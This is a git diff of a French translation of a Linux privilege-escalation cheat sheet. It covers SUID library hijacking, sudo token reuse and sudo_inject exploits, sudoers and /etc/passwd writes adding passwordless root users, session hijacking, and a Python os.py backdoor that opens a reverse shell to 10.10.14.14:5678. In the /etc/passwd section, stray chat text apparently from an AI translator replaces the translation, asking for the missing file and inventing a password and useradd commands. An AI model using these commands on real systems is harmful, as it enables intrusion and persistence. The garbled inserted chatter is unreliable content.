et en lançant un shell avec des privilèges élevés. -Compilez le fichier C ci‑dessus en un fichier objet partagé (.so) avec : +Compilez le fichier C ci-dessous en un objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. +Enfin, exécuter le SUID binary affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. ## Shared Object Hijacking ```bash @@ -955,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : +Maintenant que nous avons trouvé un SUID binary qui charge une library depuis un dossier où nous pouvons écrire, créons la library dans ce dossier avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -972,13 +974,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -cela signifie que la bibliothèque que vous avez générée doit comporter une fonction appelée `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **seulement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. -Le projet répertorie des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches post-exploitation. +Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou conserver des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,53 +1001,53 @@ https://gtfoargs.github.io/ Si vous pouvez exécuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. -### Réutilisation des jetons sudo +### Reusing Sudo Tokens Dans les cas où vous avez **sudo access** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le jeton de session**. -Prérequis pour escalader les privilèges : +Requirements to escalate privileges: - Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" -- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du jeton sudo qui permet d'utiliser `sudo` sans entrer de mot de passe) -- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 -- `gdb` est accessible (vous devez pouvoir l'uploader) +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose **dans les 15 dernières minutes** (par défaut c'est la durée du sudo token qui nous permet d'utiliser `sudo` sans saisir de mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` est accessible (vous pouvez le téléverser) -(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant définitivement `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -Si toutes ces conditions sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** +- Le **deuxième exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **appartenant à root avec le bit setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les sudo tokens éternels et autorise tous les utilisateurs à utiliser sudo** +- Le **troisième exploit** (`exploit_v3.sh`) **créera un sudoers file** qui **rend les sudo tokens éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez **write permissions** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **create a sudo token for a user and PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtain sudo privileges** sans avoir besoin de connaître le mot de passe en faisant: +Si vous avez des **permissions d'écriture** dans le dossier ou sur n'importe lequel des fichiers créés à l'intérieur du dossier vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier vous pourriez être en mesure **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous pourrez **escalader les privilèges**. +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous pourrez **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette permission. +Si vous pouvez écrire, vous pouvez abuser de cette permission ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1059,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo`, comme `doas` pour OpenBSD ; pensez à vérifier sa configuration dans `/etc/doas.conf` +Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD ; pensez à vérifier sa configuration dans `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **user se connecte habituellement à une machine et utilise `sudo`** pour escalader les privilèges et que vous avez obtenu un shell dans ce contexte user, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'user. Ensuite, **modifiez le $PATH** du contexte user (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'user exécute sudo, votre exécutable sudo soit exécuté. +Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour escalader les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit lancé. -Notez que si l'user utilise un autre shell (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en exécutant quelque chose comme: +Ou en exécutant quelque chose comme : ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet endroit comme spécifié dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement, comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1134,8 +1137,8 @@ execve(file,argv,0); ``` ## Capacités -Les capacités de Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela segmente efficacement les privilèges root en **unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ -Lisez la page suivante pour **en savoir plus sur les capabilities et comment les abuser**: +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un process**. Cela segmente effectivement les privilèges root **en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : {{#ref}} @@ -1144,32 +1147,32 @@ linux-capabilities.md ## Permissions des répertoires -Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut faire un "**cd**" dans le dossier.\ +Dans un répertoire, le **bit pour "execute"** implique que l'utilisateur concerné peut **"cd"** dans le dossier.\ Le **bit "read"** implique que l'utilisateur peut **list** les **files**, et le **bit "write"** implique que l'utilisateur peut **delete** et **create** de nouveaux **files**. ## ACLs -Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou ne font pas partie du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires sont disponibles [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion des accès plus précise**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Donner** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Récupérer** des fichiers avec des ACL spécifiques du système: +**Obtenir** des fichiers ayant des ACL spécifiques du système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessions shell ouvertes -Dans les **anciennes versions** vous pouvez **hijack** une **session shell** d'un autre utilisateur (**root**).\ -Dans les **versions les plus récentes** vous ne pourrez **vous connecter** aux sessions screen que pour **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** certaines sessions **shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions** vous pourrez **connect** uniquement aux screen sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. ### screen sessions hijacking -**Lister les sessions screen** +**Lister les screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1182,9 +1185,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Détournement de sessions tmux -C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas réussi à hijack une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +C'était un problème avec **anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. **Lister les sessions tmux** ```bash @@ -1204,53 +1207,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Consultez **Valentine box from HTB** pour un exemple. +Check **Valentine box from HTB** pour un exemple. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seulement 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et qu'**avec la clé publique ssh vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **only 32,768 variations were possible**. Cela signifie que toutes les possibilités peuvent être calculées et **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valeurs de configuration SSH intéressantes +### SSH Interesting configuration values -- **PasswordAuthentication:** Indique si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. -- **PubkeyAuthentication:** Indique si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. -- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est permise, indique si le serveur autorise la connexion à des comptes avec des mots de passe vides. La valeur par défaut est `no`. +- **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. +- **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, cela spécifie si le serveur permet la connexion à des comptes avec des mots de passe vides. La valeur par défaut est `no`. ### PermitRootLogin Spécifie si root peut se connecter via ssh, la valeur par défaut est `no`. Valeurs possibles : -- `yes` : root peut se connecter en utilisant un mot de passe et une clé privée -- `without-password` ou `prohibit-password` : root ne peut se connecter qu'avec une clé privée -- `forced-commands-only` : root peut se connecter uniquement avec une clé privée et si des options de commandes sont spécifiées +- `yes`: root peut se connecter en utilisant un mot de passe et une clé privée +- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une clé privée +- `forced-commands-only`: root ne peut se connecter qu'avec une clé privée et uniquement si des options de commandes sont spécifiées - `no` : non ### AuthorizedKeysFile -Spécifie les fichiers contenant les clés publiques utilisables pour l'authentification des utilisateurs. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **You can indicate absolute paths** (starting in `/`) ou **relative paths from the user's home**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**testusername**", ssh comparera la clé publique associée à votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh comparera la public key de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vous permet **d'utiliser vos clés SSH locales au lieu de laisser des clés** (sans passphrases !) sur votre serveur. Ainsi, vous pourrez **vous connecter** via ssh **à un hôte** et depuis là **vous connecter à un autre** hôte **en utilisant** la **clé** située sur votre **hôte initial**. +SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. Ainsi, vous pourrez **jump** via ssh **to a host** et, de là, **jump to another** host **using** the **key** située sur votre **initial host**. -Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*`, chaque fois que l'utilisateur se connecte à une machine différente, cette machine pourra accéder aux clés (ce qui est un problème de sécurité). +Remarquez que si `Host` est `*`, chaque fois que l'utilisateur se connecte à une machine différente, cette machine pourra accéder aux clés (ce qui constitue un problème de sécurité). -Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** le ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut : allow). +Le fichier `/etc/ssh_config` peut **surcharger** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut autorisé). -Si vous trouvez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable d'en abuser pour escalate privileges** : +Si vous trouvez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable de l'abuser pour obtenir une élévation de privilèges** : {{#ref}} @@ -1261,26 +1264,26 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez escalate privileges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez obtenir une élévation de privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **informations sensibles**. +Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **détails sensibles**. -### Fichiers passwd/shadow +### Fichiers Passwd/Shadow -Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé **les trouver tous** et **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers: +Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** dans ces fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent) +Il arrive que vous trouviez **password hashes** dans le fichier `/etc/passwd` (ou équivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Accessible en écriture /etc/passwd +### /etc/passwd modifiable en écriture Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` @@ -1288,9 +1291,19 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Je n'ai pas le contenu de src/linux-hardening/privilege-escalation/README.md. Peux-tu coller ici le texte du fichier à traduire ? +Je n’ai pas reçu le contenu de src/linux-hardening/privilege-escalation/README.md à traduire. Peux-tu coller le texte du fichier ici ? -Aussi, confirmes‑tu que l'ajout de l'utilisateur `hacker` et d'un mot de passe généré est pour un usage légitime (ex. exercice de pentest autorisé, lab personnel) ? Si oui, précises le format du mot de passe (longueur, inclure symboles, etc.) ou je peux générer un mot de passe fort par défaut. +Si tu veux que j’ajoute une ligne au README traduit pour créer l’utilisateur hacker avec un mot de passe généré, confirme-le. Exemple de mot de passe généré (modifiable) : S%7rPq9!xB4m + +Commande (exemple) pour créer l’utilisateur et définir le mot de passe sur une machine Linux (ne l’exécute pas ici, c’est juste pour documentation) : +``` +sudo useradd -m hacker +echo 'hacker:S%7rPq9!xB4m' | sudo chpasswd +``` + +Indique si tu veux : +- que j’intègre la ligne "Utilisateur: hacker — Mot de passe: S%7rPq9!xB4m" dans la traduction du README, et +- si tu préfères un mot de passe différent ou un format particulier. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1298,14 +1311,13 @@ Exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` -Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ - -ATTENTION : cela pourrait dégrader la sécurité actuelle de la machine. +Autrement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ +ATTENTION : vous pourriez dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. +REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, aussi `/etc/shadow` est renommé en `/etc/spwd.db`. Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash @@ -1322,11 +1334,11 @@ Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. ### Vérifier les dossiers -Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez) +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Emplacement étrange/Owned files +### Emplacement étrange/fichiers Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1343,11 +1355,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Fichiers modifiés dans les dernières minutes +### Fichiers modifiés ces dernières minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers Sqlite DB +### Fichiers DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1359,12 +1371,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binaires dans le PATH** +### **Scripts/Binaires dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Fichiers Web** +### **Fichiers web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1375,15 +1387,15 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Fichiers connus contenant des mots de passe +### Fichiers connus contenant passwords -Consultez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ -**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. +Lire le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des passwords**.\ +**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux passwords stockés sur un ordinateur local pour Windows, Linux & Mac. -### Journaux +### Logs -Si vous pouvez lire les journaux, vous pourrez peut-être y trouver des **informations intéressantes/confidentielles**. Plus le journal est étrange, plus il sera intéressant (probablement).\ -De plus, certains journaux d'audit mal configurés ("bad") (backdoored ?) peuvent vous permettre d'**enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les logs, vous pourrez peut-être trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le log est étrange, plus il sera (probablement) intéressant.\ +De plus, certains "**bad**" configurés (backdoored?) **audit logs** peuvent vous permettre **d'enregistrer des passwords** dans les audit logs comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1403,57 +1415,59 @@ Pour pouvoir lire les logs, le groupe [**adm**](interesting-groups-linux-pe/inde ``` ### Generic Creds Search/Regex -Vous devriez également vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et également rechercher des IPs et des emails dans les logs, ou des hashes regexps.\ -Je ne vais pas détailler ici comment faire tout cela, mais si cela vous intéresse vous pouvez consulter les derniers checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi rechercher des IPs et des emails dans les logs, ou des hashes regexps.\ +Je ne vais pas détailler ici comment faire tout cela mais si vous êtes intéressé(e) vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -## Fichiers modifiables +## Writable files ### Python library hijacking -Si vous savez depuis **où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modify python libraries**, vous pouvez modifier la bibliothèque OS et y installer une backdoor (si vous pouvez écrire là où le script python sera exécuté, copiez-collez la bibliothèque os.py). +Si vous savez depuis **où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier la bibliothèque OS et la backdoorer (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). + +Pour **backdoor the library** ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Une vulnérabilité dans `logrotate` permet à des utilisateurs disposant de **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges élevés. En effet, `logrotate`, souvent exécuté en tant 